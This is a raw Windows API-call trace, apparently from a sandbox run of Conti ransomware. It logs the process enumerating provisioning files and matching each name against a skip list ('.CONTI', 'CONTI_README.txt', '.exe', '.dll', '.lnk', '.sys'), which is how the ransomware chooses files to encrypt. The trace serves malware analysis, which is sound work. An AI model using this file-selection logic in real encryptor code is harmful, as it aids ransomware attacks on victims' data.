	[0108.617] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.617] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml"
	[0108.617] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", cAlternateFileName="217__C~1.PRO")) returned 1
	[0108.617] lstrcmpiW (lpString1="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.617] lstrcmpiW (lpString1="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.617] StrStrIW (lpFirst="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.617] StrStrIW (lpFirst="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.617] StrStrIW (lpFirst="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.617] StrStrIW (lpFirst="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.617] StrStrIW (lpFirst="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.617] StrStrIW (lpFirst="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.617] StrStrIW (lpFirst="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.617] StrStrIW (lpFirst="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.617] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.617] lstrlenW (lpString="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml") returned 62
	[0108.617] GetProcessHeap () returned 0x1720000
	[0108.617] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x65898b0
	[0108.617] lstrcpyW (in: lpString1=0x65898b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.617] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.617] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml"
	[0108.617] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x313, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="218__C~1.PRO")) returned 1
	[0108.618] lstrcmpiW (lpString1="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.618] lstrcmpiW (lpString1="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.618] StrStrIW (lpFirst="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.618] StrStrIW (lpFirst="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.618] StrStrIW (lpFirst="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.618] StrStrIW (lpFirst="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.618] StrStrIW (lpFirst="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.618] StrStrIW (lpFirst="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.618] StrStrIW (lpFirst="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.618] StrStrIW (lpFirst="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.618] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.618] lstrlenW (lpString="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.618] GetProcessHeap () returned 0x1720000
	[0108.618] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x65899f8
	[0108.618] lstrcpyW (in: lpString1=0x65899f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.618] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.618] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml"
	[0108.618] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", cAlternateFileName="219__C~1.PRO")) returned 1
	[0108.618] lstrcmpiW (lpString1="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.618] lstrcmpiW (lpString1="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.618] StrStrIW (lpFirst="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.618] StrStrIW (lpFirst="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.618] StrStrIW (lpFirst="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.618] StrStrIW (lpFirst="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.618] StrStrIW (lpFirst="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.618] StrStrIW (lpFirst="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.618] StrStrIW (lpFirst="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.618] StrStrIW (lpFirst="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.618] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.618] lstrlenW (lpString="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml") returned 65
	[0108.618] GetProcessHeap () returned 0x1720000
	[0108.618] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6588950
	[0108.618] lstrcpyW (in: lpString1=0x6588950, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.619] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.619] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml"
	[0108.619] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="21__CO~1.PRO")) returned 1
	[0108.619] lstrcmpiW (lpString1="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.619] lstrcmpiW (lpString1="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.619] StrStrIW (lpFirst="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.619] StrStrIW (lpFirst="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.619] StrStrIW (lpFirst="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.619] StrStrIW (lpFirst="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.619] StrStrIW (lpFirst="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.619] StrStrIW (lpFirst="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.619] StrStrIW (lpFirst="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.619] StrStrIW (lpFirst="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.619] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.619] lstrlenW (lpString="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml") returned 68
	[0108.619] GetProcessHeap () returned 0x1720000
	[0108.619] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6589100
	[0108.619] lstrcpyW (in: lpString1=0x6589100, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.619] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.619] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml"
	[0108.619] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="220__C~1.PRO")) returned 1
	[0108.619] lstrcmpiW (lpString1="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.619] lstrcmpiW (lpString1="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.619] StrStrIW (lpFirst="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.619] StrStrIW (lpFirst="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.619] StrStrIW (lpFirst="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.619] StrStrIW (lpFirst="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.619] StrStrIW (lpFirst="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.619] StrStrIW (lpFirst="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.619] StrStrIW (lpFirst="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.619] StrStrIW (lpFirst="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.619] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.620] lstrlenW (lpString="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml") returned 78
	[0108.620] GetProcessHeap () returned 0x1720000
	[0108.620] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x17c3e08
	[0108.620] lstrcpyW (in: lpString1=0x17c3e08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml"
	[0108.620] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x312, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="221__C~1.PRO")) returned 1
	[0108.620] lstrcmpiW (lpString1="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.620] lstrcmpiW (lpString1="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.620] StrStrIW (lpFirst="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.620] StrStrIW (lpFirst="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.620] StrStrIW (lpFirst="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.620] StrStrIW (lpFirst="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.620] StrStrIW (lpFirst="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.620] StrStrIW (lpFirst="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.620] StrStrIW (lpFirst="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.620] StrStrIW (lpFirst="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.620] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.620] lstrlenW (lpString="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml") returned 67
	[0108.620] GetProcessHeap () returned 0x1720000
	[0108.620] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6589b40
	[0108.620] lstrcpyW (in: lpString1=0x6589b40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.620] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml"
	[0108.621] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="222__C~1.PRO")) returned 1
	[0108.621] lstrcmpiW (lpString1="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.621] lstrcmpiW (lpString1="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.621] StrStrIW (lpFirst="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.621] StrStrIW (lpFirst="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.621] StrStrIW (lpFirst="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.621] StrStrIW (lpFirst="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.621] StrStrIW (lpFirst="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.621] StrStrIW (lpFirst="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.621] StrStrIW (lpFirst="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
